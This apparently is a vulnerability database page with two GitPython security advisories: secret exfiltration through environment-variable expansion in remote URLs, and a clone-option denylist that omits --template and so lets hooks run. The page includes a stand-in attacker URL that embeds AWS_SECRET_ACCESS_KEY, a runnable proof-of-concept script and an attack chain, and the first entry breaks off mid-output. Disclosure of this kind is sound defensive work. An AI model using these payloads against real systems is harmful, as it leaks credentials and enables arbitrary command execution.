| High | 8.7 | EPSS 0.5% | CVE-2026-73622cf2tf · GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of High8.7EPSS 0.5%GCVE DatabaseCVE-2026-73622 ## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/ | GCVE Database | ||
| High | 7.7 | EPSS 0.8% | CVE-2026-73623cf2tf · GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via High7.7EPSS 0.8%GCVE DatabaseCVE-2026-73623 ## Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ## Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ## Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ## Proof of Concept ```python # attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ## Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database |
Page 1 of 2